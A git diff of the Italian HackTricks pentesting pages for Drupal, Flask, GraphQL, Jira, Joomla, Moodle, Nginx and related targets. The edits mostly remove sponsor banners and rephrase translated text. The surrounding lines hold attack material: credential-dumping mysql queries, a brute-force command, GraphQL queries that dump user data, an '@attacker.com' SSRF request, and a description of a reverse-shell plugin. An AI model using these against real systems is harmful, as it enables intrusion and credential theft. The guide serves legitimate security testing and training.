 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md
index d5b957fe2..1cadee8b9 100644
--- a/src/network-services-pentesting/pentesting-web/drupal/README.md
+++ b/src/network-services-pentesting/pentesting-web/drupal/README.md
@@ -2,9 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## Scoperta
 
@@ -85,8 +82,4 @@ find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|
 ```bash
 mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
 ```
-

-
-{% embed url="https://websec.nl/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md
index 96fae4b3b..bc4cf0ddc 100644
--- a/src/network-services-pentesting/pentesting-web/flask.md
+++ b/src/network-services-pentesting/pentesting-web/flask.md
@@ -2,18 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
-
 **Probabilmente, se stai partecipando a un CTF, un'applicazione Flask sarà correlata a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
 
 ## Cookies
 
-Il nome della sessione cookie predefinito è **`session`**.
+Il nome predefinito della sessione dei cookie è **`session`**.
 
 ### Decoder
 
@@ -21,7 +14,7 @@ Decoder di cookie Flask online: [https://www.kirsle.net/wizards/flask-session.cg
 
 #### Manuale
 
-Prendi la prima parte del cookie fino al primo punto e decodificalo in Base64.
+Ottieni la prima parte del cookie fino al primo punto e decodificalo in Base64.
 ```bash
 echo "ImhlbGxvIg" | base64 -d
 ```
@@ -61,11 +54,11 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
 ```
 ### SQLi nel cookie di sessione Flask con SQLmap
 
-[**Questo esempio**](../../pentesting-web/sql-injection/sqlmap/#eval) utilizza l'opzione `eval` di sqlmap per **firmare automaticamente i payload di sqlmap** per Flask utilizzando un segreto noto.
+[**Questo esempio**](../../pentesting-web/sql-injection/sqlmap/#eval) utilizza l'opzione sqlmap `eval` per **firmare automaticamente i payload di sqlmap** per Flask utilizzando un segreto noto.
 
 ## Proxy Flask per SSRF
 
-[**In questo writeup**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) viene spiegato come Flask consenta una richiesta che inizia con il carattere "@":
+[**In questo articolo**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) viene spiegato come Flask consenta una richiesta che inizia con il carattere "@":
 ```http
 GET @/ HTTP/1.1
 Host: target.com
@@ -88,11 +81,4 @@ app.run(host='0.0.0.0', port=8080)
 ```
 Potrebbe consentire di introdurre qualcosa come "@attacker.com" per causare un **SSRF**.
 
-

-
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 0b60e5121..218b38886 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -2,19 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni una certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 ## Introduzione
 
-GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia notevolmente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
+GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia significativamente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
 
 ## GraphQL e Sicurezza
 
-Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che **GraphQL non include meccanismi di autenticazione per impostazione predefinita**. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, ponendo un rischio significativo per la sicurezza.
+Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che **GraphQL non include meccanismi di autenticazione per impostazione predefinita**. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, rappresentando un rischio significativo per la sicurezza.
 
 ### Attacchi di Brute Force alle Directory e GraphQL
 
@@ -29,13 +24,13 @@ Per identificare istanze GraphQL esposte, si raccomanda di includere percorsi sp
 - `/graphql/api`
 - `/graphql/graphql`
 
-Identificare istanze GraphQL aperte consente di esaminare le query supportate. Questo è cruciale per comprendere i dati accessibili tramite l'endpoint. Il sistema di introspezione di GraphQL facilita questo fornendo dettagli sulle query supportate da uno schema. Per ulteriori informazioni su questo, fai riferimento alla documentazione di GraphQL sull'introspezione: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
+Identificare istanze GraphQL aperte consente di esaminare le query supportate. Questo è cruciale per comprendere i dati accessibili tramite l'endpoint. Il sistema di introspezione di GraphQL facilita questo fornendo dettagli sulle query supportate da uno schema. Per ulteriori informazioni su questo, fare riferimento alla documentazione di GraphQL sull'introspezione: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
 
 ### Fingerprint
 
 Lo strumento [**graphw00f**](https://github.com/dolevf/graphw00f) è in grado di rilevare quale motore GraphQL è utilizzato in un server e poi stampa alcune informazioni utili per l'auditor di sicurezza.
 
-#### Query Universali 
+#### Query universali 
 
 Per verificare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
 ```javascript
@@ -190,7 +185,7 @@ Puoi vedere che gli oggetti "_Flags_" sono composti da **name** e **value**. Qui
 ```javascript
 query={flags{name, value}}
 ```
-Nota che nel caso in cui l'**oggetto da interrogare** sia un **tipo** **primitivo** come **stringa** come nel seguente esempio
+Nota che nel caso in cui l'**oggetto da interrogare** sia un **tipo** **primitivo** come **stringa** come nell'esempio seguente
 
 ![](<../../images/image (958).png>)
 
@@ -208,7 +203,7 @@ Tuttavia, in questo esempio se provi a farlo ottieni questo **errore**:
 ![](<../../images/image (1042).png>)
 
 Sembra che in qualche modo cercherà utilizzando l'argomento "_**uid**_" di tipo _**Int**_.\
-Comunque, lo sapevamo già, nella sezione [Basic Enumeration](graphql.md#basic-enumeration) è stata proposta una query che ci mostrava tutte le informazioni necessarie: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+Comunque, già sapevamo che, nella sezione [Basic Enumeration](graphql.md#basic-enumeration), era stata proposta una query che ci mostrava tutte le informazioni necessarie: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
 Se leggi l'immagine fornita quando eseguo quella query vedrai che "_**user**_" aveva l'**arg** "_**uid**_" di tipo _Int_.
 
@@ -225,7 +220,7 @@ E durante la **fase di enumerazione** ho scoperto che l'oggetto "_**dbuser**_" a
 
 **Trucco di dump della stringa di query (grazie a @BinaryShadow\_)**
 
-Se puoi cercare per un tipo di stringa, come: `query={theusers(description: ""){username,password}}` e **cerchi una stringa vuota** esso **dumpa tutti i dati**. (_Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare usando "**theusers**" tramite un campo String chiamato "**description**"_).
+Se puoi cercare per un tipo di stringa, come: `query={theusers(description: ""){username,password}}` e **cerchi una stringa vuota** esso **dumpa tutti i dati**. (_Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare utilizzando "**theusers**" per un campo String chiamato "**description**"_).
 
 ### Ricerca
 
@@ -439,7 +434,7 @@ Per ulteriori informazioni **controlla il** [**post originale qui**](https://blo
 
 ## Hijacking WebSocket cross-site in GraphQL
 
-Simile alle vulnerabilità CRSF che abusano di GraphQL, è anche possibile eseguire un **hijacking WebSocket cross-site per abusare di un'autenticazione con GraphQL con cookie non protetti** e far eseguire all'utente azioni inaspettate in GraphQL.
+Simile alle vulnerabilità CRSF che abusano di graphQL, è anche possibile eseguire un **hijacking WebSocket cross-site per abusare di un'autenticazione con GraphQL con cookie non protetti** e far eseguire all'utente azioni inaspettate in GraphQL.
 
 Per ulteriori informazioni controlla:
 
@@ -475,9 +470,9 @@ In GraphQL, gli alias sono una funzionalità potente che consente di **nominare
 
 Per una comprensione dettagliata degli alias GraphQL, si consiglia la seguente risorsa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 
-Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ciascuna richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
+Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ogni richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
 
-Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
+Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una sola richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
@@ -558,11 +553,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 
 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa le configurazioni errate comuni degli endpoint graphql
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script di auditing della sicurezza GraphQL con un focus sull'esecuzione di query e mutazioni batch GraphQL.
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica il fingerprint del graphql in uso
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit che può essere utilizzato per raccogliere schemi e cercare dati sensibili, testare l'autorizzazione, forzare schemi e trovare percorsi per un dato tipo.
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica il graphql in uso
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit che può essere utilizzato per raccogliere schemi e cercare dati sensibili, testare autorizzazioni, forzare schemi e trovare percorsi per un dato tipo.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Può essere utilizzato come standalone o [estensione Burp](https://github.com/doyensec/inql).
 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Può essere utilizzato anche come client CLI per automatizzare attacchi
-- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Strumento che elenca i diversi modi per **raggiungere un dato tipo in uno schema GraphQL**.
+- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Strumento che elenca i diversi modi di **raggiungere un dato tipo in uno schema GraphQL**.
 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Il successore delle modalità Standalone e CLI di InQL
 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Estensione Burp per test avanzati di GraphQL. Lo _**Scanner**_ è il nucleo di InQL v5.0, dove puoi analizzare un endpoint GraphQL o un file di schema di introspezione locale. Genera automaticamente tutte le possibili query e mutazioni, organizzandole in una vista strutturata per la tua analisi. Il componente _**Attacker**_ ti consente di eseguire attacchi batch GraphQL, che possono essere utili per eludere limiti di velocità mal implementati.
 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Prova a ottenere lo schema anche con l'introspezione disabilitata utilizzando l'aiuto di alcuni database Graphql che suggeriranno i nomi delle mutazioni e dei parametri.
@@ -588,10 +583,5 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
 - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Masterizza la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md
index e450c7a1a..ceb0a3219 100644
--- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md
+++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md
@@ -2,8 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-{% embed url="https://websec.nl/" %}
-
 Pagina ufficiale: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
 
 ## Accesso
@@ -35,6 +33,4 @@ In [**questo post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
 },
 [...]
 ```
-{% embed url="https://websec.nl/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md
index da67e777a..1854dbc99 100644
--- a/src/network-services-pentesting/pentesting-web/jboss.md
+++ b/src/network-services-pentesting/pentesting-web/jboss.md
@@ -2,11 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 ## Tecniche di Enumerazione e Sfruttamento
 
@@ -25,10 +21,6 @@ Per sfruttare le vulnerabilità, risorse come [JexBoss](https://github.com/joaom
 
 Google Dorking può aiutare a identificare server vulnerabili con una query come: `inurl:status EJInvokerServlet`
 
-

 
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md
index ea9fb0cdf..1c64de2c9 100644
--- a/src/network-services-pentesting/pentesting-web/jira.md
+++ b/src/network-services-pentesting/pentesting-web/jira.md
@@ -2,17 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
 ## Controlla i privilegi
 
-In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per utenti autenticati** evidenziano anche una **vulnerabilità**.
+In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anch'essi una **vulnerabilità**.
 
-Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo che l'endpoint 'mypermissions' includesse un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi che vengono interrogati: [controllalo qui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo che l'endpoint 'mypermissions' includesse un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi che vengono interrogati: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
 
 - ADD_COMMENTS
 - ADMINISTER
@@ -72,7 +66,7 @@ Come indicato in questo [**blog**](https://cyllective.com/blog/posts/atlassian-a
 
 - [Modulo Plugin REST ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Esporre endpoint API RESTful
 - [Modulo Plugin Servlet ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Distribuire servlet Java come parte di un plugin
-- [Modulo Plugin Macro ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementare Macro di Confluence, cioè modelli HTML parametrizzati
+- [Modulo Plugin Macro ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementare Macro di Confluence, ovvero modelli HTML parametrizzati
 
 Questo è un esempio del tipo di plugin macro:
 ```java
@@ -101,7 +95,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
 ```
 È possibile osservare che questi plugin potrebbero essere vulnerabili a comuni vulnerabilità web come XSS. Ad esempio, l'esempio precedente è vulnerabile perché riflette i dati forniti dall'utente. 
 
-Una volta trovato un XSS, in [**questo repo github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) puoi trovare alcuni payload per aumentare l'impatto dell'XSS.
+Una volta trovata una XSS, in [**questo repo github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) puoi trovare alcuni payload per aumentare l'impatto della XSS.
 
 ## Plugin Backdoor
 
@@ -110,16 +104,10 @@ Una volta trovato un XSS, in [**questo repo github**](https://github.com/cyllect
 Queste sono alcune delle azioni che un plugin malevolo potrebbe eseguire:
 
 - **Nascondere i Plugin dagli Amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
-- **Esfiltrare Allegati e Pagine**: Consente di accedere e esfiltrare tutti i dati.
+- **Exfiltrare Allegati e Pagine**: Consente di accedere e esfiltrare tutti i dati.
 - **Furto di Token di Sessione**: Aggiungere un endpoint che restituirà gli header nella risposta (con il cookie) e del javascript che lo contatterà e esfiltrerà i cookie.
-- **Esecuzione di Comandi**: Ovviamente è possibile creare un plugin che eseguirà codice.
-- **Reverse Shell**: O ottenere una reverse shell.
-- **Proxying DOM**: Se il confluence è all'interno di una rete privata, sarebbe possibile stabilire una connessione attraverso il browser di un utente con accesso e, ad esempio, contattare il server eseguendo comandi attraverso di esso.
-
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
+- **Esecuzione di Comandi**: Ovviamente è possibile creare un plugin che esegue codice.
+- **Shell Inversa**: O ottenere una shell inversa.
+- **Proxying DOM**: Se Confluence è all'interno di una rete privata, sarebbe possibile stabilire una connessione attraverso il browser di un utente con accesso e, ad esempio, contattare il server eseguendo comandi attraverso di esso. 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md
index 18c0bbce2..34d60b0c5 100644
--- a/src/network-services-pentesting/pentesting-web/joomla.md
+++ b/src/network-services-pentesting/pentesting-web/joomla.md
@@ -2,13 +2,8 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
-
-### Statistiche Joomla
+### Statistiche di Joomla
 
 Joomla raccoglie alcune [statistiche di utilizzo](https://developer.joomla.org/about/stats.html) anonime come la suddivisione delle versioni di Joomla, PHP e dei sistemi operativi del server in uso nelle installazioni di Joomla. Questi dati possono essere interrogati tramite il loro [API](https://developer.joomla.org/about/stats/api.html).
 ```bash
@@ -89,7 +84,7 @@ Le versioni da 4.0.0 a 4.2.7 sono vulnerabili a divulgazione di informazioni non
 
 ### Brute-Force
 
-Puoi usare questo [script](https://github.com/ajnik/joomla-bruteforce) per tentare di forzare l'accesso.
+Puoi utilizzare questo [script](https://github.com/ajnik/joomla-bruteforce) per tentare di forzare il login.
 ```shell-session
 sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 
@@ -108,15 +103,10 @@ Se sei riuscito a ottenere **credenziali admin**, puoi **RCE all'interno di esso
 
 ## Da XSS a RCE
 
-- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script di sfruttamento Joomla che **eleva XSS a RCE o altre vulnerabilità critiche**. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Joomla 5.X.X, 4.X.X e 3.X.X, e consente di:**
-- _**Escalation dei privilegi:**_ Crea un utente in Joomla.
-- _**(RCE) Modifica dei template integrati:**_ Modifica un template integrato in Joomla.
-- _**(Custom) Sfruttamenti personalizzati:**_ Sfruttamenti personalizzati per plugin Joomla di terze parti.
+- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script di sfruttamento Joomla che **eleva XSS a RCE o altre vulnerabilità critiche**. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni Joomla 5.X.X, 4.X.X e 3.X.X, e consente di:**
+- _**Privilegi di Escalation:**_ Crea un utente in Joomla.
+- _**(RCE) Modifica Template Integrati:**_ Modifica un Template Integrato in Joomla.
+- _**(Custom) Sfruttamenti Personalizzati:**_ Sfruttamenti Personalizzati per Plugin Joomla di Terze Parti.
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md
index 8240ebcf2..940e24dc3 100644
--- a/src/network-services-pentesting/pentesting-web/laravel.md
+++ b/src/network-services-pentesting/pentesting-web/laravel.md
@@ -2,11 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 ## Laravel Tricks
 
@@ -103,10 +98,5 @@ Un'altra deserializzazione: [https://github.com/ambionics/laravel-exploits](http
 
 Leggi informazioni su questo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md
index 666af8ed5..43fb82162 100644
--- a/src/network-services-pentesting/pentesting-web/moodle.md
+++ b/src/network-services-pentesting/pentesting-web/moodle.md
@@ -2,13 +2,8 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
-## Scansioni Automatiche
+## Scans Automatici
 
 ### droopescan
 ```bash
@@ -78,7 +73,7 @@ Devi avere il ruolo di **manager** e puoi **installare plugin** all'interno dell
 
 Se sei manager potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
 
-Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo di nuovo_)
+Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo_)
 
 {% file src="../../images/moodle-rce-plugin.zip" %}
 
@@ -98,10 +93,4 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
 ```bash
 /usr/local/bin/mysql -u  --password= -e "use moodle; select email,username,password from mdl_user; exit"
 ```
-

-
-**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
index 9348a65be..a34f526d8 100644
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ b/src/network-services-pentesting/pentesting-web/nginx.md
@@ -2,17 +2,10 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Missing root location 
 
-Quando si configura il server Nginx, la **direttiva root** gioca un ruolo critico definendo la directory di base da cui vengono serviti i file. Considera l'esempio qui sotto:
+Quando si configura il server Nginx, la **direttiva root** gioca un ruolo fondamentale definendo la directory di base da cui vengono serviti i file. Considera l'esempio qui sotto:
 ```bash
 server {
 root /etc/nginx;
@@ -35,9 +28,9 @@ location /imgs {
 alias /path/images/;
 }
 ```
